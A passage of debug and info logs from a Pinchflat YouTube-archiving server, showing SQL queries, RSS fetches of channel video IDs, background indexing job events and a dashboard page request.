((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 18:11:30.166 [debug] QUERY OK source="media_items" db=1.8ms idle=158.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 18:11:30.167 [debug] QUERY OK source="tasks" db=0.0ms idle=160.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [741, 3, ~U[2026-07-24 18:11:30Z], ~U[2026-07-24 18:11:30Z]] 18:11:30.167 [info] {"args":{"id":3},"id":738,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":162014,"event":"job:stop","queue_time":449396,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:11:30.167 [debug] QUERY OK source="tasks" db=0.2ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:11:57.382 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:00.837 [info] {"source":"oban","duration":107,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:12:27.383 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:49.878 [info] GET / 18:12:49.878 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 18:12:49.878 [debug] QUERY OK source="settings" db=0.1ms idle=1878.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:49.878 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1878.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 18:12:49.878 [debug] QUERY OK source="sources" db=0.0ms idle=1800.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 18:12:49.882 [debug] QUERY OK source="media_items" db=3.3ms idle=878.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:12:49.882 [debug] QUERY OK source="media_items" db=0.3ms idle=802.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:12:49.882 [debug] QUERY OK source="settings" db=0.0ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:49.882 [debug] QUERY OK source="settings" db=0.1ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:49.883 [debug] QUERY OK source="settings" db=0.0ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:49.883 [debug] QUERY OK source="media_items" db=0.2ms idle=1.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:12:49.885 [debug] QUERY OK source="media_items" db=1.5ms idle=1.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:12:49.885 [debug] QUERY OK source="sources" db=0.0ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 18:12:49.889 [debug] QUERY OK source="media_items" db=3.5ms idle=2.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 18:12:49.893 [debug] QUERY OK source="media_items" db=3.5ms idle=6.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:12:49.893 [debug] QUERY OK source="tasks" db=0.0ms idle=9.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:12:49.893 [info] Sent 200 in 15ms 18:12:57.385 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:00.839 [info] {"source":"oban","duration":159,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:13:27.386 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:57.387 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:00.840 [info] {"source":"oban","duration":108,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:14:27.388 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:57.389 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:00.841 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:15:27.390 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:57.392 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:00.842 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:16:27.393 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:57.394 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:00.843 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:17:27.395 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:57.396 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:00.844 [info] {"source":"oban","duration":258,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:18:27.397 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:57.398 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:00.845 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:19:27.399 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:57.400 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:00.846 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:20:27.401 [info] {"source":"oban","duration":521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:57.402 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:00.847 [info] {"source":"oban","duration":114,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:21:05.591 [info] {"args":{"id":2},"id":739,"meta":{},"system_time":1784917265591490079,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:21:05.592 [debug] QUERY OK source="tasks" db=0.1ms idle=575.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:21:05.593 [debug] QUERY OK source="sources" db=1.6ms idle=574.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:21:05.593 [debug] QUERY OK source="sources" db=1.5ms idle=575.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:21:05.594 [debug] QUERY OK source="settings" db=0.5ms idle=8.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:21:05.594 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:21:05.594 [debug] QUERY OK source="settings" db=0.0ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:21:05.594 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 18:21:05.720 [debug] Media ids fetched from RSS: ["9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 18:21:05.720 [debug] QUERY OK source="media_items" db=0.2ms idle=126.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 18:21:05.720 [debug] QUERY OK source="media_items" db=0.2ms idle=126.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 18:21:05.721 [debug] QUERY OK source="tasks" db=0.0ms idle=127.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [742, 2, ~U[2026-07-24 18:21:05Z], ~U[2026-07-24 18:21:05Z]] 18:21:05.721 [info] {"args":{"id":2},"id":739,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":130054,"event":"job:stop","queue_time":59559,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:21:05.721 [debug] QUERY OK source="tasks" db=0.1ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:21:15.602 [info] {"args":{"id":1},"id":740,"meta":{},"system_time":1784917275602190262,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:21:15.602 [debug] QUERY OK source="sources" db=0.1ms idle=584.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:15.602 [debug] QUERY OK source="settings" db=0.0ms idle=585.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:21:15.602 [debug] QUERY OK source="tasks" db=0.3ms idle=584.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:21:15.602 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:21:15.602 [debug] QUERY OK source="sources" db=0.1ms idle=0.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:15.603 [debug] QUERY OK source="settings" db=0.2ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:21:15.603 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 18:21:15.793 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 18:21:15.793 [debug] QUERY OK source="media_items" db=0.3ms idle=190.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 18:21:15.796 [debug] QUERY OK source="media_items" db=2.2ms idle=191.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT 